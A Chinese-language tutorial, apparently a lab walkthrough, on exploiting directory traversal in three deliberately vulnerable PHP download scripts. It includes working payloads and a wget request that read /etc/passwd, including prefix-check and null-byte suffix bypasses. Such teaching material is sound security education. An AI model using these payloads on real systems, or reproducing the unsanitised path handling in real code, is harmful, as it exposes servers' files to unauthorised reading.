目录遍历来自缺乏对应用程序作为路径一部分的信息的过滤/编码。
与其他漏洞一样,您可以使用“相同值的技术”来测试此类问题。例如,如果应用程序在参数内使用的路径是/images/photo.jpg。您可以尝试访问:
- /images/./photo.jpg:你应该看到同一个文件。
- /images/../photo.jpg:你应该得到一个错误。
- /images/../images/photo.jpg:你应该再次看到同一个文件。
- /images/../IMAGES/photo.jpg:你应该得到一个错误(取决于文件系统)或奇怪的事情。
如果您没有值images并且合法路径看起来像photo.jpg,则需要确定父存储库的内容。
测试完成后,您可以尝试检索其他文件。在Linux / Unix上,最常见的测试用例是/etc/passwd。您可以测试:images/../../../../../../../../../../../etc/passwd,如果您获得该passwd文件,则该应用程序易受攻击。好消息是你不需要知道它的数量../。如果你放太多,它仍然可以工作。
另一个有趣的事情是,如果在Windows中有目录遍历test/../../../file.txt,即使该目录test不存在,您也可以访问。在Linux上情况并非如此。在代码连接用户控制的数据以创建文件名的情况下,这非常有用。
例如,以下PHP代码应该添加参数id以获取文件名(example_1.txt例如)。在Linux上,如果没有目录example_,则无法利用此漏洞,而在Windows上,即使没有此类目录,您也可以利用它。
$file = "/var/files/example_".$_GET['id'].".txt";
在这些练习中,漏洞由<img标记内部使用的脚本说明。您需要阅读HTML源代码(或使用“复制图像URL”)来查找正确的链接,并开始利用该问题。
Example 1
<?php $UploadDir = '/var/www/files/'; if (!(isset($_GET['file']))) die(); $file = $_GET['file']; $path = $UploadDir . $file; if (!is_file($path)) die(); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: public'); header('Content-Disposition: inline; filename="' . basename($path) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($path)); $handle = fopen($path, 'rb'); do { $data = fread($handle, 8192); if (strlen($data) == 0) { break; } echo($data); } while (true); fclose($handle); exit(); ?>
第一个例子是一个非常简单的目录遍历。您只需要进入文件系统,然后返回,即可获得所需的任何文件。在这种情况下,您将受到文件系统权限的限制,例如,将无法访问/etc/shadow。
在此示例中,根据服务器发送的标头,您的浏览器将显示响应的内容。有时,服务器将使用标头发送响应Content-Disposition: attachment,并且您的浏览器不会直接显示该文件。您可以打开文件以查看内容。每种测试都需要一些时间。
使用windows系统,可以直接用浏览器访问:
192.168.1.11/dirtrav/example1.php?file=../../../../../../../etc/passwd
使用Linux / Unix系统,您可以通过以下方式更快地完成此操作wget:
% wget -O - 'http://192.168.40.130/dirtrav/example1.php?file=../../../../../../../etc/passwd' [...] daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [...]
Example 2
<?php if (!(isset($_GET['file']))) die(); $file = $_GET['file']; if (!(strstr($file,"/var/www/files/"))) die(); if (!is_file($file)) die(); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: public'); header('Content-Disposition: inline; filename="' . basename($file) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($file)); $handle = fopen($file, 'rb'); do { $data = fread($handle, 8192); if (strlen($data) == 0) { break; } echo($data); } while (true); fclose($handle); exit(); ?>
在此示例中,您可以看到完整路径用于访问文件。但是,如果你试图用它替换它/etc/passwd,你将得不到任何东西。它看起来像是由PHP代码执行的简单检查。但是,您可以通过保留路径的开头并在末尾添加有效负载来绕过它,以便在文件系统中上下移动。例如:
http://192.168.1.11/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd
Example 3
<?php $UploadDir = '/var/www/files/'; if (!(isset($_GET['file']))) die(); $file = $_GET['file']; $path = $UploadDir . $file.".png"; // Simulate null-byte issue that used to be in filesystem related functions in PHP $path = preg_replace('/\x00.*/',"",$path); if (!is_file($path)) die(); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: public'); header('Content-Disposition: inline; filename="' . basename($path) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($path)); $handle = fopen($path, 'rb'); do { $data = fread($handle, 8192); if (strlen($data) == 0) { break; } echo($data); } while (true); fclose($handle); exit(); ?>
当您利用目录遍历时,此示例基于一个常见问题:服务器端代码将自己的后缀添加到您的有效负载。通过使用NULL BYTE:空字节(您需要对其进行URL编码%00),可以轻松绕过此问题。使用NULL BYTE去除服务器端代码添加的任何后缀是一种常见的绕开方法,并且在Perl和旧版本的PHP中运行良好。例如:
http://192.168.1.11/dirtrav/example3.php?file=/../../../../../../../etc/passwd%00